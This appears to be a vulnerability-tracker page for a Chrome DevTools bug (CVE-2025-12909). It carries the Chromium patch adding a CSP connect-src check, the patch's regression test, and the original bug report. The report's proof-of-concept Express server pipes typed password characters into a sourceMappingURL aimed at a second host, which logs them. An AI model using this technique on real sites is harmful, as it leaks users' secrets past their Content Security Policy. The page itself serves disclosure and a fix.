Chrome · Devtools
CVE-2025-12909
Logic Error in Devtools
Overview
Low
Severity
—
CVSS
No
Exploited ITW
Fixed
Fix Status
Changed Functions
| Function | Change | Notes |
|---|---|---|
ifcontent/browser/devtools/protocol/network_handler.cc |
modified |
Files Changed
content/browser/devtools/protocol/network_handler.ccthird_party/blink/web_tests/http/tests/inspector-protocol/network/load-network-resource-csp-expected.txtthird_party/blink/web_tests/http/tests/inspector-protocol/network/load-network-resource-csp.jsthird_party/blink/web_tests/http/tests/inspector-protocol/network/resources/page-with-csp.php
Patch
From fe72006efbce74a7a7133287a6688cc4f4bec87b Mon Sep 17 00:00:00 2001 From: Danil Somsikov <[email protected]> Date: Fri, 04 Jul 2025 01:48:54 -0700 Subject: [PATCH] Implement `connect-src` check for `Network.loadNetworkResource` Without this check source map requests bypass, potentially allowing data exfiltration. Bug: 361116749 Change-Id: I3dcc3e089d4a228cc953c11d7155147bb5c2f6e0 Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/6667844 Auto-Submit: Danil Somsikov <[email protected]> Commit-Queue: Danil Somsikov <[email protected]> Reviewed-by: Andrey Kosyakov <[email protected]> Cr-Commit-Position: refs/heads/main@{#1482495} --- diff --git a/content/browser/devtools/protocol/network_handler.cc b/content/browser/devtools/protocol/network_handler.cc index f0298c7..83676b5 100644 --- a/content/browser/devtools/protocol/network_handler.cc +++ b/content/browser/devtools/protocol/network_handler.cc @@ -47,6 +47,7 @@ #include "content/browser/loader/url_loader_factory_utils.h" #include "content/browser/renderer_host/frame_tree_node.h" #include "content/browser/renderer_host/navigation_request.h" +#include "content/browser/renderer_host/render_frame_host_csp_context.h" #include "content/browser/renderer_host/render_frame_host_impl.h" #include "content/browser/storage_partition_impl.h" #include "content/browser/url_loader_factory_params_helper.h" @@ -3620,6 +3621,19 @@ return; } + RenderFrameHostCSPContext csp_context(frame); + + network::CSPCheckResult result = csp_context.IsAllowedByCsp( + frame->policy_container_host()->policies().content_security_policies, + network::mojom::CSPDirectiveName::ConnectSrc, gurl, gurl, + /*has_followed_redirect=*/false, /*source_location=*/nullptr, + network::CSPContext::CHECK_ENFORCED_CSP, + /*is_form_submission=*/false); + if (!result.IsAllowed()) { + callback->sendFailure(Response::ServerError("CSP violation")); + return; + } + auto params = URLLoaderFactoryParamsHelper::CreateForFrame( frame, frame->GetLastCommittedOrigin(), frame->GetIsolationInfoForSubresources(), @@ -3651,6 +3665,7 @@ DevToolsAgentHostImpl::GetForId(host_id_); if (host) { // TODO(sigurds): Support dedicated workers. + // TODO(mkwst): Check CSP for non-frame targets. auto info = host->CreateNetworkFactoryParamsForDevTools(); auto factory = CreateNetworkFactoryForDevTools( gurl.scheme(), host->GetProcessHost(), MSG_ROUTING_NONE, info.origin, diff --git a/third_party/blink/web_tests/http/tests/inspector-protocol/network/load-network-resource-csp-expected.txt b/third_party/blink/web_tests/http/tests/inspector-protocol/network/load-network-resource-csp-expected.txt new file mode 100644 index 0000000..55453f99 --- /dev/null +++ b/third_party/blink/web_tests/http/tests/inspector-protocol/network/load-network-resource-csp-expected.txt @@ -0,0 +1,14 @@ +Tests for Network.loadNetworkResource with CSP +Response for fetch with cross-origin resource (should be blocked by CSP):{ + code : -32000 + message : CSP violation +} +Response for fetch with same-origin resource (should be allowed by CSP):{ + resource : { + headers : <object> + httpStatusCode : 200 + stream : 1 + success : true + } +} + diff --git a/third_party/blink/web_tests/http/tests/inspector-protocol/network/load-network-resource-csp.js b/third_party/blink/web_tests/http/tests/inspector-protocol/network/load-network-resource-csp.js new file mode 100644 index 0000000..1fc7c8e0 --- /dev/null +++ b/third_party/blink/web_tests/http/tests/inspector-protocol/network/load-network-resource-csp.js @@ -0,0 +1,31 @@ +(async function(/** @type {import('test_runner').TestRunner} */ testRunner) { + const {page, session, dp} = await testRunner.startURL( + `http://127.0.0.1:8000/inspector-protocol/network/resources/page-with-csp.php?csp=connect-src%20'self'`, + `Tests for Network.loadNetworkResource with CSP`); + + const {result: {frameTree}} = await dp.Page.getFrameTree(); + const frameId = frameTree.frame.id; + + async function loadResource(url, explanation) { + const response = await dp.Network.loadNetworkResource({ + frameId, + url, + options: {disableCache: false, includeCredentials: false} + }); + testRunner.log(response.error ?? response.result, explanation, ['headers']); + } + + const crossOriginUrl = + `https://localhost:8443/inspector-protocol/network/resources/source.map`; + await loadResource( + crossOriginUrl, + `Response for fetch with cross-origin resource (should be blocked by CSP):`); + + const sameOriginUrl = + `http://127.0.0.1:8000/inspector-protocol/network/resources/source.map`; + await loadResource( + sameOriginUrl, + `Response for fetch with same-origin resource (should be allowed by CSP):`); + + testRunner.completeTest(); +}) diff --git a/third_party/blink/web_tests/http/tests/inspector-protocol/network/resources/page-with-csp.php b/third_party/blink/web_tests/http/tests/inspector-protocol/network/resources/page-with-csp.php new file mode 100644 index 0000000..8b7cc59 --- /dev/null +++ b/third_party/blink/web_tests/http/tests/inspector-protocol/network/resources/page-with-csp.php @@ -0,0 +1,14 @@ +<?php +$csp = $_GET['csp']; +header("content-security-policy: $csp"); +?> + +<!DOCTYPE html> +<html lang="en"> + <head> + <meta charset="utf-8"> + <title>Page with restrictive CSP</title> + </head> + <body> + </body> +</html>
Loading diff…
Regression Test / PoC
shipped with the fix
diff --git a/third_party/blink/web_tests/http/tests/inspector-protocol/network/load-network-resource-csp-expected.txt b/third_party/blink/web_tests/http/tests/inspector-protocol/network/load-network-resource-csp-expected.txt
new file mode 100644
index 0000000..55453f99
--- /dev/null
+++ b/third_party/blink/web_tests/http/tests/inspector-protocol/network/load-network-resource-csp-expected.txt
@@ -0,0 +1,14 @@
+Tests for Network.loadNetworkResource with CSP
+Response for fetch with cross-origin resource (should be blocked by CSP):{
+ code : -32000
+ message : CSP violation
+}
+Response for fetch with same-origin resource (should be allowed by CSP):{
+ resource : {
+ headers : <object>
+ httpStatusCode : 200
+ stream : 1
+ success : true
+ }
+}
+
diff --git a/third_party/blink/web_tests/http/tests/inspector-protocol/network/load-network-resource-csp.js b/third_party/blink/web_tests/http/tests/inspector-protocol/network/load-network-resource-csp.js
new file mode 100644
index 0000000..1fc7c8e0
--- /dev/null
+++ b/third_party/blink/web_tests/http/tests/inspector-protocol/network/load-network-resource-csp.js
@@ -0,0 +1,31 @@
+(async function(/** @type {import('test_runner').TestRunner} */ testRunner) {
+ const {page, session, dp} = await testRunner.startURL(
+ `http://127.0.0.1:8000/inspector-protocol/network/resources/page-with-csp.php?csp=connect-src%20'self'`,
+ `Tests for Network.loadNetworkResource with CSP`);
+
+ const {result: {frameTree}} = await dp.Page.getFrameTree();
+ const frameId = frameTree.frame.id;
+
+ async function loadResource(url, explanation) {
+ const response = await dp.Network.loadNetworkResource({
+ frameId,
+ url,
+ options: {disableCache: false, includeCredentials: false}
+ });
+ testRunner.log(response.error ?? response.result, explanation, ['headers']);
+ }
+
+ const crossOriginUrl =
+ `https://localhost:8443/inspector-protocol/network/resources/source.map`;
+ await loadResource(
+ crossOriginUrl,
+ `Response for fetch with cross-origin resource (should be blocked by CSP):`);
+
+ const sameOriginUrl =
+ `http://127.0.0.1:8000/inspector-protocol/network/resources/source.map`;
+ await loadResource(
+ sameOriginUrl,
+ `Response for fetch with same-origin resource (should be allowed by CSP):`);
+
+ testRunner.completeTest();
+})
diff --git a/third_party/blink/web_tests/http/tests/inspector-protocol/network/resources/page-with-csp.php b/third_party/blink/web_tests/http/tests/inspector-protocol/network/resources/page-with-csp.php
new file mode 100644
index 0000000..8b7cc59
--- /dev/null
+++ b/third_party/blink/web_tests/http/tests/inspector-protocol/network/resources/page-with-csp.php
@@ -0,0 +1,14 @@
+<?php
+$csp = $_GET['csp'];
+header("content-security-policy: $csp");
+?>
+
+<!DOCTYPE html>
+<html lang="en">
+ <head>
+ <meta charset="utf-8">
+ <title>Page with restrictive CSP</title>
+ </head>
+ <body>
+ </body>
+</html>
Loading diff…
Original Bug Report
reported by [email protected]
CSP doesn't block sourceMappingURL
VULNERABILITY DETAILS
The vulnerability allows source maps from unauthorized domains to be loaded despite Content Security Policy restrictions, potentially exposing sensitive information.
VERSION
- Chrome Version: 127.0.6533.99 (Official Build) snap (64-bit) stable
- Operating System: Ubuntu 24.04 LTS (Codename: noble)
REPRODUCTION CASE
- tested on node (20.16.0) npm (10.8.1) and express (4.19.2)
- save the code below as
server.js - execute node server.js
- go to
http://localhost:3007/ - enter a secret phrase to the password field
- open the devtool
expected behavior:
The browser should not make any cross-origin requests. The source map should not be loaded, and an error message should appear in the console.
actual behavior:
The browser transmit the secret passphrase to a third party once the developers tool is opened.
import express from 'express'
const app = express()
const app2 = express()
app.get('/', (req, res) => {
console.log('index requested')
res.send(`
<meta http-equiv="Content-Security-Policy" content="default-src 'self' 'unsafe-inline';connect-src 'self';">
<input type="password" onkeyup="f(this.value)"/>
<script>
function f(val) {
document.getElementsByTagName('style')[0].innerHTML = \`
/*# sourceMappingURL=http://localhost:3008/styles.css.map/\${val} */
\`
}
</script>
<style></style>
`)
})
app2.get('/styles.css.map/:id', (req, res) => {
console.log(req.params.id, 'requested')
res.send(``)
})
app.listen(3007, () => console.log('Server is running on port 3007'))
app2.listen(3008, () => console.log('Server is running on port 3008'))
CREDIT INFORMATION
Reporter credit: Noam Gaash
References
On This Page